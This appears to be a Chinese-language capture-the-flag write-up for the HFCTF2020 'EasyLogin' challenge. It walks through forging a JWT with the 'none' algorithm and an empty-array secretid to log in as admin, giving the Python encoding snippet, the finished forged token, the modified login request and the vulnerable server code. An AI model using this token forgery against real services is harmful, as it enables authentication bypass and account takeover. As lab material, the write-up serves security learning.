Title

[HFCTF2020]EasyLogin-1|JWT身份伪造

1、打开之后只有一个登陆界面和注册界面,右键检查发现app.js代码,结果如下:

app.js代码如下:

/**
 *  或许该用 koa-static 来处理静态文件
 *  路径该怎么配置?不管了先填个根目录XD
 */

function login() {
    const username = $("#username").val();
    const password = $("#password").val();
    const token = sessionStorage.getItem("token");
    $.post("/api/login", {username, password, authorization:token})
        .done(function(data) {
            const {status} = data;
            if(status) {
                document.location = "/home";
            }
        })
        .fail(function(xhr, textStatus, errorThrown) {
            alert(xhr.responseJSON.message);
        });
}

function register() {
    const username = $("#username").val();
    const password = $("#password").val();
    $.post("/api/register", {username, password})
        .done(function(data) {
            const { token } = data;
            sessionStorage.setItem('token', token);
            document.location = "/login";
        })
        .fail(function(xhr, textStatus, errorThrown) {
            alert(xhr.responseJSON.message);
        });
}

function logout() {
    $.get('/api/logout').done(function(data) {
        const {status} = data;
        if(status) {
            document.location = '/login';
        }
    });
}

function getflag() {
    $.get('/api/flag').done(function(data) {
        const {flag} = data;
        $("#username").val(flag);
    }).fail(function(xhr, textStatus, errorThrown) {
        alert(xhr.responseJSON.message);
    });
}

2、那就注册一个账户进行登录然后尝试获取flag值,但是显示权限不允许,结果如下:

3、看到显示了用户名,考虑了下是否是二次注入,经过尝试这里好像并没有什么用,但是在测试时发现admin账户无法注册,加上上面的提示权限不允许,想到这里可能是要我们获取admin权限之后才能获取flag,那就抓取登录的数据包进行分析,发现存在jwt信息,然后就想到了jwt信息伪造,结果如下:

POST /api/login HTTP/1.1
Host: b41e6a34-cf6a-4c47-9683-6e39216e64b9.node4.buuoj.cn:81
Content-Length: 208
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://b41e6a34-cf6a-4c47-9683-6e39216e64b9.node4.buuoj.cn:81
Referer: http://b41e6a34-cf6a-4c47-9683-6e39216e64b9.node4.buuoj.cn:81/login
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: sses:aok=eyJ1c2VybmFtZSI6bnVsbCwiX2V4cGlyZSI6MTY2MDk4NTM3MzUxMywiX21heEFnZSI6ODY0MDAwMDB9; sses:aok.sig=AFfZU1lVSsYbRn_pR5t69AAy1Ts
Connection: close

username=123&password=123&authorization=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZWNyZXRpZCI6NCwidXNlcm5hbWUiOiIxMjMiLCJwYXNzd29yZCI6IjEyMyIsImlhdCI6MTY2MDg5NTk3M30.jpELP7_BnqquU2OVt-8nL442wcPDmHbtWP8J6jOjKEo

jwt信息格式:前两部分均是base64加密,第三部分加密方式为第一部分声明的加密算法结合密匙进行加密,解密地址:https://jwt.io/,jwt解密信息如下:

4、然后就想着获取密匙,但是未成功,后来在网上看到:当加密时使用的是 none 方法,验证时只要密钥处为 undefined 或者空之类的,即便后面的算法指名为 HS256,验证也还是按照 none 来验证通过,那这样的话我们就可以直接伪造jwt的信息了,对header和payload部分信息分别进行修改和加密,然后拼接加密后的字符串(注意删掉填充符=),结果如下:

import base64

a = '{"alg":"none","typ":"JWT"}'
b = '{"secretid":[],"username":"admin","password":"123","iat":1660895973}'
print(base64.b64encode(a.encode('utf-8')))
print(base64.b64encode(b.encode('utf-8')))

所以最终的jwt信息为:eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6IjEyMyIsImlhdCI6MTY2MDg5NTk3M30.

5、抓取登陆的数据包,修改登录的用户名和jwt信息,数据包如下:

POST /api/login HTTP/1.1
Host: b41e6a34-cf6a-4c47-9683-6e39216e64b9.node4.buuoj.cn:81
Content-Length: 208
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://b41e6a34-cf6a-4c47-9683-6e39216e64b9.node4.buuoj.cn:81
Referer: http://b41e6a34-cf6a-4c47-9683-6e39216e64b9.node4.buuoj.cn:81/login
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: sses:aok=eyJ1c2VybmFtZSI6bnVsbCwiX2V4cGlyZSI6MTY2MDk4NjE3MTMxNywiX21heEFnZSI6ODY0MDAwMDB9; sses:aok.sig=F8g5EE9X5Vc_jFjbIBcg6HA-kpI
Connection: close

username=admin&password=123&authorization=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6IjEyMyIsImlhdCI6MTY2MDg5NTk3M30.

6、然后想着点击获取flag就可以获取到flag值了,但是发现通过admin进入之后,这个按钮点击并没有反应,因此只能直接访问/api/flag(在app.js代码中发现的),最终成功获取到flag值,结果如下:

7、后面在网上查看时发现都是访问了controllers下的api.js找到主要逻辑代码,然后才进行的jwt身份伪造,我这也算是误打误撞,还是看了下api.js的内容,结果如下:

const crypto = require('crypto');
const fs = require('fs')
const jwt = require('jsonwebtoken')
 
const APIError = require('../rest').APIError;
 
module.exports = {
    'POST /api/register': async (ctx, next) => {
        const {username, password} = ctx.request.body;
 
        if(!username || username === 'admin'){
            throw new APIError('register error', 'wrong username');
        }
 
        if(global.secrets.length > 100000) {
            global.secrets = [];
        }
 
        const secret = crypto.randomBytes(18).toString('hex');
        const secretid = global.secrets.length;
        global.secrets.push(secret)
 
        const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});
 
        ctx.rest({
            token: token
        });
 
        await next();
    },
 
    'POST /api/login': async (ctx, next) => {
        const {username, password} = ctx.request.body;
 
        if(!username || !password) {
            throw new APIError('login error', 'username or password is necessary');
        }
 
        const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;
 
        const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;
 
        console.log(sid)
 
        if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
            throw new APIError('login error', 'no such secret id');
        }
 
        const secret = global.secrets[sid];
 
        const user = jwt.verify(token, secret, {algorithm: 'HS256'});
 
        const status = username === user.username && password === user.password;
 
        if(status) {
            ctx.session.username = username;
        }
 
        ctx.rest({
            status
        });
 
        await next();
    },
 
    'GET /api/flag': async (ctx, next) => {
        if(ctx.session.username !== 'admin'){
            throw new APIError('permission error', 'permission denied');
        }
 
        const flag = fs.readFileSync('/flag').toString();
        ctx.rest({
            flag
        });
 
        await next();
    },
 
    'GET /api/logout': async (ctx, next) => {
        ctx.session.username = null;
        ctx.rest({
            status: true
        })
        await next();
    }
};

主要就是这里,对登录的用户名进行了判断,只有用户名是admin时才可以读取flag:

'GET /api/flag': async (ctx, next) => {
        if(ctx.session.username !== 'admin'){
            throw new APIError('permission error', 'permission denied');
        }
 
        const flag = fs.readFileSync('/flag').toString();
        ctx.rest({
            flag
        });
 
        await next();
    },
posted @ 2022-08-19 17:26  upfine  阅读(809)  评论(0编辑  收藏  举报